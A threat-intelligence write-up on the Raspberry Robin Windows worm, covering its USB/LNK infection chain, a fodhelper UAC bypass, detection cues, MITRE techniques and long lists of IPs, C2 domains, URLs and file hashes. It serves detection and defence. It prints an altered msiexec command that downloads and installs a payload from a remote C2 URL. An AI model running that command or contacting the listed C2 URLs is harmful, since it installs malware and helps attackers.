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Hundreds of Windows Networks are Infected with Raspberry Robin Worm
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Hundreds of Windows Networks are Infected with Raspberry Robin Worm

July 4, 2022

Microsoft reported that hundreds of businesses’ networks have already been compromised by the Windows worm Raspberry Robin.

Multiple security experts discovered Raspberry Robin in 2021. Microsoft even saw evidence from 2019. Raspberry Robin acts like a worm and is installed via external devices (such as USB flash drives). It gains access through msiexec.exe, which is utilized to install malicious DLL files.

YARA rules on DLL detection are found on GitHub.

Raspberry Robin frequently compromises QNAP NAS devices by using HTTP requests containing the victim’s hostname and using them as C2 servers. Raspberry Robin was also using TOR output nodes as an extra C2 infrastructure.

Microsoft privately disclosed the Raspberry Robin risks to Defender for Endpoint subscribers.

How Does Raspberry Robin Work?

The malware is delivered by infected USB drives that include an [.]LNK file. When a user clicks on this file, the worm launches another malicious file by starting a msiexec[.]exe process in Command Prompt.

It then uses a short URL to communicate with command and control servers (C2).

When the connection is successful, it downloads and installs other malicious DLLs that try to communicate with Tor nodes. rundll32[.]exe, regsvr32[.]exe, and dllhost[.]exe are used to connect to an external network (C2 servers). DLLs are suspected of being used to gain persistence on compromised systems. There are two examples on VirusTotal:

Raspberry Robin executes DLLs with the help of two legitimate Windows utilities:

  • fodhelper[.]exe (Bypasses UAC)
  • odbcconf[.]exe (Executes and configures the DLLs)

fodhelper[.]exe spawns rundll32[.]exe to execute a malicious command. This gives rundll32[.]exe the ability to run with elevated admin privileges and bypass UAC. It is unusual for fodhelper[.]exe to act as the parent process and spawn another, so if behavior is observed, it could help detect Raspberry Robin. rundll32[.]exe then calls odbcconf[.]exe, which allows configuring the installed malicious DLLs.

(Source: Red Canary)

The filename structure is distinctive. A number of file extensions and five to seven randomly selected alphanumeric characters make up the filename; .usb, .ico, .lnk, .bin, .sv, and .lo are a few of the file extensions that has been seen. Additionally, the command occasionally included type, a built-in command to display a file’s contents.

Raspberry Robin uses mixed-case letters to evade detection because cmd[.]exe is case-insensitive.

The malicious URLs usually contain the non-standard HTTP web service port 8080.

Here is an altered example of a complete malicious Raspberry Robin msiexec[.]exe command line that satisfies the abovementioned requirements. The victim’s hostname has been changed to HOSTNAME in the modified random string.

  • MSiexEc /q-I “htTP://MwGQ.nEt:8080/l5cnhZV6KA/HOSTNAME”

TTPs

User Execution: Malicious File (T1204.002)

Replication Through Removable Media (T1091)

Compromise Infrastructure: Virtual Private Server (T1584.003)

Windows Management Instrumentation (T1047)

Exfiltration Over C2 Channel (T1041)

Compromise Infrastructure (T1584)

IoCs

IPv4

  • 179.60.150.120
  • 185.55.243.109
  • 195.158.67.252
  • 37.223.74.108
  • 46.11.6.104
  • 46.11.83.236
  • 46.11.88.157
  • 46.11.88.251
  • 46.217.252.172
  • 46.217.252.5
  • 46.246.235.240
  • 47.62.21.60
  • 47.62.80.170
  • 62.117.214.168
  • 77.0.14.225
  • 77.0.54.234
  • 77.0.76.210
  • 77.10.57.142
  • 77.102.161.76
  • 77.134.1.180
  • 77.162.19.47
  • 77.163.246.172
  • 77.222.169.40
  • 77.227.156.97
  • 77.237.29.198
  • 77.253.40.31
  • 77.28.19.243
  • 77.28.20.241
  • 77.28.21.107
  • 77.28.22.149
  • 77.28.24.132
  • 77.28.25.25
  • 77.28.26.122
  • 77.28.30.58
  • 77.28.30.92
  • 77.3.29.5
  • 77.33.92.10
  • 77.49.34.67
  • 77.56.224.7
  • 77.6.65.115
  • 77.8.158.118
  • 77.8.173.243
  • 77.92.212.109
  • 77.99.129.181
  • 78.10.163.208
  • 78.120.231.242
  • 78.127.108.253
  • 80.174.244.147
  • 84.221.210.56
  • 88.141.193.140
  • 89.103.155.86
  • 95.112.118.167
  • 95.112.128.167
  • 95.112.26.67
  • 95.112.99.68
  • 95.116.202.95
  • 95.116.84.233
  • 95.88.112.237
  • 95.88.31.182

Domains

  • 3h. WF
  • v0.cx
  • 0dz.me
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  • 5kx.me
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  • 6y.re
  • 85eppjscwrsabxa7.myfritz.net
  • aij.hk
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  • b8x.org
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  • bpyo.in
  • c4z.pl
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  • g4.wf
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  • gz3.nl
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  • i4x.xyz
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  • iz.gy
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  • j4z.co
  • j4z.xyz
  • j68.info
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  • k6c.org
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  • kr4.xyz
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  • lwip.re
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  • p3.ms
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  • q2.rs
  • qmpo.art
  • r4e.pl
  • r6.nz
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  • s8.cx
  • skqv.eu
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  • tz6.org
  • u0.pm
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  • uz3.me
  • v0.cx
  • vn6.co
  • w4.wf
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  • xjam.hk
  • y3x.biz
  • yuiw.xyz
  • z7s.org
  • zbs.is
  • zk.qa
  • zk4.me
  • zk5.co

URLs

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  • https://p3.ms/https://j68.info/
  • http://u0.pm/lxq9ogyburj/user-pc
  • http://wak.rocks/
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  • http://m0.wf/0vc9bp4hgwp/pc3=pc3
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  • http://l9b.org/xkcuk8g3ruf/dirdcf01=ia.alissoutin
  • http://krrz.pm/gylfv2otz24/desktop-qetu0ta=safwan
  • http://uqw.futbol:8080/g1626wghz2
  • http://6y.re/4InotveKaHE/IFSCLIENT-34982?hrpelk
  • http://ri7.biz/0vf0hwxnziz/desktop-bcqh4gj=user
  • http://k5m.co/gawn8grvc14/desktop-jvl43e8=izaha
  • http://5qw.pw/mexydfwera8/desktop-g0brqgf=ricardo
  • http://t7.nz/g6eouvusly6/desktop-eb3erro=rupna
  • http://f0.tel/o4q7amz1sjg/pc2-pc=pc2
  • http://b9.pm/rfsyemvp3cu/desktop-q31gegc=hp
  • http://vn6.co/8v9c3nuz4mp/115-7=user
  • http://r6.nz:8080/ebpmuvhdjlr/!computername
  • http://euya.cn/zi1vbgrdqhr/desktop-hea9vi8
  • http://tz6.org/u4ae3vf12q7/rmpc0206=clencina
  • http://jzm.pw/
  • http://6y.re/thxigyraju9/desktop-97lo4p0=icobe
  • http://j68.info:8080/ikAYkKHaba0
  • http://f0.tel:8080/cgi-bin
  • http://gz3.nl/ogx9323z2ki/medbim-medbim
  • http://5qw.pw/rckgjhtgndg/desktop-5i2dob7=grid10
  • http://l9b.org/0t6opudlhs1/dell-5547=dell
  • https://vn6.co/
  • https://u0.pm/
  • http://t7.nz/
  • http://j4z.co/0cfzewvvtzz/t1=tomasz
  • http://s8.cx:8080/r6efv0g0xnb/walker-pc
  • http://zbs.is/pqa4xsbyuu/laptop-b2gna554
  • http://jzm.pw/rohkwxbhxml/idpc06=idpc6
  • http://z7s.org/mgpsfsg3jfc/desktop-smi0ea5=admin
  • http://j4r.xyz:8080/cgi-bin/
  • http://0dz.me/o9gatf2bxjw/desktop-tlvp4er=junap
  • http://j4r.xyz/rtzbuh06csg/desktop-92krt67=user
  • http://ri7.biz/8cckbzvtbed/design2=user
  • https://jzm.pw/
  • http://q2.rs/g8zckfmbolg/desktop-jivgbet
  • http://t7.nz/0felsofbjdo/nabiel
  • http://j68.info/zgyyv1lpnmt/desktop-645d4pr=user
  • http://5qw.pw/rlpnlazpoew/desktop-s0kb1vg=caisse
  • http://vn6.co/rwzw6oqq4ai/n=jorgealbeto
  • http://z7s.org/mdnqtuirfv0/desktop-r9d84tc=lenovo
  • http://6w.re/mgnhm2j5v2v/user-pc=user
  • http://ri7.biz/z0qurstq4va/pc-pc=pc
  • http://p3.ms/5ypwoarz22t/boumazber-pc=boumazber
  • https://mirw.wf/http://kr4.xyz/jc3oqickto4/cm-macpu2080=user
  • http://ri7.biz:8080/zf8kyvumog9/desktop-jqovif4?fecc
  • http://uqw.futbol/5nrlneitu21/silvana-vaio
  • http://zk5.co/rqbfttiwekv/ucludtupceplwkn=user
  • http://6y.re/thxigyraju9/desktop-dgnaoiq=usuario
  • http://k6j.pw:8080/reacnfgslai/fmc=cosenza/pemtuifldk
  • https://ue2.eu/http://6w.re/depijdgzhgz/rip2=user
  • http://k5m.co/phslyylrbz/desktop-mcm0eob=user
  • http://j68.info/gybgkgshdw2/desktop-ka2nl4b=dell
  • http://jjl.one/goawap9shzp/toshiba-pc
  • http://uqw.futbol/8s1kybhdg33/desktop-cf5n1ud=user
  • http://ri7.biz/8cckbzvtbed/designpc3=printer
  • https://zk5.co/http://mzjc.is/xftndtj5yc8/desktop-brti6k6
  • http://3h.wf/r7rwad7dhz7/desktop-tfd7eur=user
  • http://kjaj.top/rqbcyzdb5xz/lenovo
  • https://q2.rs/http://j4r.xyz/0aqpkydhdb6/home-pc=hp
  • http://l9b.org:8080/tyiim8uur0n/
  • http://pjz.one/gbpvsfzfo47/monzu-pc=monzu
  • http://6y.re:8080/4InotveKaHE/IFSCLIENT-34982?hrpelk
  • http://kr4.xyz/rzp66iztnay/laptop-tq1r7ib7=user
  • http://lwip.re/
  • https://6w.re/http://mirw.wf/ubuqcs03etp/samanala-pc-1
  • http://p3.ms/kryyhbvlzs7/pc1a9026=jkdm
  • http://omzk.org/og0419jl1sg/irc_pc02=imtih
  • http://p3.ms/ropvgx1x0j3/desktop-7c1g4tm
  • http://lwip.re/rnr4luktleo/nisha
  • http://q2.rs/r8zluzpxm6g/desktop-gqdroql=asp
  • http://zbs.is/mipmcvcxjpw/desktop-ljpk77g
  • http://mwgq.net:8080/rbcGyNJYdx/JMB00011
  • http://l9b.org/kentreoygmf/desktop-hq56sem=dell
  • http://5qw.pw:8080/epnrbohk34h/mostrador=vendedorm
  • https://b8x.org/
  • https://i49.xyz/
  • http://ri7.biz/ettfs1xgwkw/hp-pc=walid
  • http://b8x.org/eei7l7zn380/note
  • http://0dz.me/rp3lsbhak40/desktop-ufuag98=dell
  • http://ri7.biz:8080/5ayxYLnSLzM
  • http://wak.rocks/rq5dl6iqfpl/desktop-aveubds
  • http://p9.tel/xg2x9bi8pdl/abe-p212-c005=user
  • http://f0.tel/g8cemdwruhr/bholenath-pc=bholenath
  • http://t7.nz/4vm2zbbzhxd/spn-pc
  • http://zk5.co/ryeavkshmwh/desktop-eegjobl=robin
  • https://f0.tel/
  • http://j68.info:8080/ikAYkKHaba0/
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  • http://c7.lc:8080/infdjxtvuyb/walker-pc
  • https://g4.wf/
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  • http://vn6.co/
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  • http://ri7.biz/gun1jsx9uaw/depobrera-01=dep-obrera
  • http://v0.cx/r1159etihqw/desktop-8ak2v7ghttps://omzk.org/
  • http://b9.pm/0jks8kdez0b/desktop-ao6g4ip=bze
  • http://j8.si/izham9koil4/laptop-n59o9k73

MD5

  • 6f5ea8383bc3bd07668a7d24fe9b0828
  • e8f0d33109448f877a0e532b1a27131a

SHA1

  • 90e00d255fc9162080c02510e7e10ffa6b6ed995
  • bfcfa72ba5095fba108314c1c4deb5faed82ef4d

SHA256

  • 1a5fcb209b5af4c620453a70653263109716f277150f0d389810df85ec0beac1
  • c0a13af59e578b77e82fe0bc87301f93fc2ccf0adce450087121cb32f218092c
  • 01d13023055420ee95f79cafeee9e78f1579de3cbaab4a29227d28b16421be65
  • 050c2c32e4739f3bdd76d577f1a1452fad6a4773ce382d5d35c26afde5c933ca
  • 0615fb3056848b5c5dd13af587542882e3192e3a2f3fa612b6c3e7909a023068
  • 0bf50f5d8c6944de26d8b0a92ec8f0b7e7a8478a0251bf8e192d20fc28b9406e
  • 0d25743cdd5bb3b64ba87821caabc2c2990edff5d09c5a259917436fb995154c
  • 135fe46f7c47c8ced7c0c8c795d466f9818d2a91a0b03ffa69d8480e44f62d00
  • 17774e944d6f5aeb5eff8c5ac4a231ecb8dd090aa95e83b88ced2714c8a7faa1
  • 186d7715e6812abd94831993ec4be0f7e5a9b8a72596eebfa509f26277626b2d
  • 18715157f3a7fa097c6b9ca909b3e59aec50ce241ac8e16441c2fbb0dcc559c7
  • 1e56f8c3d6fe32fb3487a9fa4e683cf5f5d9c049cb47247a36b2a049248167d8
  • 1eb48fce25c89f9a7e90ef0dfd395b5fdd9535765a647599b0e0fd7dfde48b02
  • 2007d7fe06d4a9b4b51ba34eb88fb3b71cf3be3506305381ca328cd93a774c0a
  • 23b808a462f1f4172cbb6a77dbbdf257f6abb4cbef652c651bc204af0b2e6b14
  • 25659b85d1e29e30fdbfd7fddd095cdc245599f57a392e26ed48818a9c96ae9a
  • 27bd56bf6ddd9d87eb4bb2c1bf4b03932fcfe6a7c295e60ace78cc75a99ea48d
  • 2c10b80dc69e531b618aa3553ee9079989468a03d4be5b3cea9421d9b082411b
  • 3243241cc49c455e98f8a9f19a02e7f171c10a13011c622d6456028d8c682090
  • 32a60c6b3b3b7c5da876cd37b924bc88934fd5d134fb3a84d09d4b604e0100a1
  • 36a13f3d7f26dfc83d0e1aa1fba0c2ee212941fa9a77930f008da042e1517eb9
  • 3a1581aa40a4d5b3c3cf09ba9de73eac80de4efe295ccc4a0ca97e671203e89e
  • 3ce31078216506938898b7c495ceaa96ecfdf1a52db3be81f87aa5fb53cc7f73
  • 419c72569b0f1dd0666aa20ebff896a7d522b0c14862acaeae0df35858b119ff
  • 49a96a43ecf7a5982cba36212ce81bda9f1c081c36fc4001d2bcece88ba3c049
  • 49e51b5d6c0e030f2688759c9495fab9533b368122dc7a3369fbac208ee8b630
  • 4a1815f3e87d6d623c22921d9c39b2de614351d71831976bbc807f571953ff21
  • 4aadd622a5aea729b0cb48ff2ebd7706ee73bbb013ea6481c7493785be8cd042
  • 4d8787ef65b0e2729ac4ef8d00d66c397ca09694a4e5472130ed45ca9c4aa8e1
  • 5a76cf48522a7aa08076db48ce959954db7d2450324ee9d468ae576370b3f92a
  • 5e063bba3387b37c2bab29008417e570735b7d21680934b6224c09b0c95e7711
  • 5f95428d420237e71af78f2c98e96926bed3ba58b6a0dc5eca197bb1f714a23e
  • 6307c49785d2168170725b906603a8b6160d13353ffdd18895ed6d00f1b22464
  • 63d9a97f313a1a655446ea7577b056b3298feb6c93672275785c69b7394da081
  • 65f0c606588a6b25d7bfd8e5a39a64de67cb09f6f246991b8e6274340c8fd58f
  • 683d3272402875208f68a108d1f376a2d8f013d0f5148cadf887f89162ad2acf
  • 6accc844c114279b272bf88e82ad216f239af93adda5eae5cc5dbc2c1db74d7b
  • 6f0f0533d84296f16e9737dbf542210d63d5ed8374ce1945e0d9449942c67621
  • 6f4bf485a235ab9189dd4ae8c1bc55de97f806ec932f9e0dee9cb1c215f412c2
  • 70e2c193de153a89cc834b5404d4c1135058dfd92f9a4dd592f97db6ed27fa65
  • 718a056fcbf16b88f6a2e87dbd98a836f4d769d90e6bc4eacaf4ccf8b9082159
  • 77ae3f47aef1cca9ff5092843c937bc380f045acf4566d1d1895df185770169b
  • 78e4ed96e0974f34fd170eb2bf9202bf5a96aba1be0053a1c0c95fe40e654ebd
  • 7b58bf90ee3c6bcb87d0751cdbf7d333949d8d4b07ddba1d3c9a7c72f93040f1
  • 7be13446f9e63a6ae8aab7b31a1452503b9204e37511d65798b0d67d59c541fa
  • 7fde773f20c7446ba4cbc7770e232c8f5ba3e6cf5be96a549b0521ce010bd79c
  • 810e2a5ccda88d6d4f7a106cdc4c768b8f0dc33e7243d98e14e3e057030d53c7
  • 83a69c1c951863a84d27749f5a0936ec436ee01867de291a413f642340e38051
  • 87eca6d43c76d34e7662d7cacc378009643c236ef2109cf8e25e838fd0e4bb39
  • 88c93ea16d83e8420aebedc663ca579bfab91ce31641314a46044524101a2c7b
  • 8a45d17af13c543ac96052da43524f302a0686a31cc7180a46587e36d86edf14
  • 8ae3a2893886a3548b5790f44ad4e3757d73066daed1bffeadbf81f6525a70cf
  • 8fc5d90692749e690dacaf0564b419aca6ec8015b835ddeba0a14a1fa9b30633
  • 93d840670d24f240daacfd4c381af19878d5d75dbfffcac3eaa067597dac7a54
  • a409dd2ac50abfa3cbc9efd679a6f6cdf849fcb9c5a92d7d8943acde33045514
  • a482e13d1fbd3b6b305a6a73b9d2d8632b58d756736cfd08d38a758ec00606ca
  • a79e4b47d83d354bd00a325bf38523826d3ceefaa85d44d48f773f6dc2cdaa2f
  • a8814e5c19ee0be35109ccdddd32cbc1f85d307c7c9db2fb9f254c636de92142
  • aa5eea31237867d9a3a65a1eafec3efb4c00a75fc917277168682af1462801b8
  • aa94c96bcdb2d7a7793cf094abf43068200a460e1dc10ed27b91f16f42a4865a
  • ab7cfcefcd7440c9894fb3b9ff2639d17d00f265b60d43f181ffd24b0911f659
  • ad5907789b6f4688bf65557577f57cd3014f3d0e016306c0f768d8c192841e92
  • ada0b05b322ca036484955974b5a2e5093f5de6ffd904b39fef9d0f155f31c62
  • b4ce2ff844b54cbbf899869c5405b79e2917cfa8b4b4e28f0a09f6456a51dca8
  • b78cdfba1861a2e08be4d7c773b33ff4b7e96c60997263f33ce5fa7665ea17b3
  • bb303c2d9012a9d89ac6c00048b92ee506b3e81538698502c060b144c9371b21
  • bdf4a67918249dc3477bbe1a47a74176922480ac5c5e73710d07cf6f904bedb6
  • bf8a4d6109ac945610e38ee3493c11dbf2b7ee3ae52c12af0d4128d64ffba93d
  • c39ba83fb6f6caa313801fb254fb64de4e0df64ea6edaa0702ec7d1347b5fd38
  • cccc4c4efceab69b35e3bba7ff217c38712d61fb1669ba0e86dd96cf9dda71ae
  • d465172175d35d493fb1633e237700022bd849fa123164790b168b8318acb090
  • dc57c02205e18e2d08acc2c2887d1cce4ec6e0f5e4fd99d113511916a496fad1
  • e00a6bd1a9f4b47a7d7caeaa8a5c0210506338f369c16078d852a24d907d6088
  • e1ca135b9c925a9b05ccd0c610f79288e2939ba0f452261d41d636e01927b9a7
  • e21068943041e0f50525e30f933302fa3f55dedebec1f1e5fe1e0ee8b5b161f8
  • e455a74b85be6bd26557fe3dcc3eeaf85e0ee64dcbbbadf28e2b9da5632f921c
  • e4e5939a574374b9f8bc715332d97055063de22b3262ee9cbcd1d8309b8f4a2a
  • e5141c6808965b15de4abcbb8b3fa1ce2b10264bd93934f31ce009eee2421cee
  • ed01a87ef3f8cae3004c8f37fb5a273c2791d9bc851319529f0ff8f17c8dc8f1
  • f0dbd45e60816b6193ce17e15c74124bfd522f1a11333b95a917ebee46f39ea7
  • f27f03beb236d13e43b3096a3a21b15b1cff6428bdecf0cec39e49ba684847da
  • f2c766e14ebec20b8ffccfaccd561f1c7eee2b2a414d5e42c2f5ac543a2ad892
  • f558dd0203d46639af673043b49c59098180f2c64c6bac9ac8095a246aa82807
  • f936a77fc52fe853a020e4df55bee120de7813df3b6d9f07ed841fff105ea589
  • f9f57e6c54e3b87d82b9bcb256f25ba7dac831bf580ea07bb82125317db740db
  • faa63e99ba00f8a6ca9c917d637cf00615394216bbf12cb40638a2cd88a69204
  • fcf26ed52c680c38f05d4f3815ef0a5e4eac75a937015ba1d2c8c8b0692daec3
  • ffdf86246c054b1cabc6b84c44199a69435936bd8d15157765ac85c6312f1398

 

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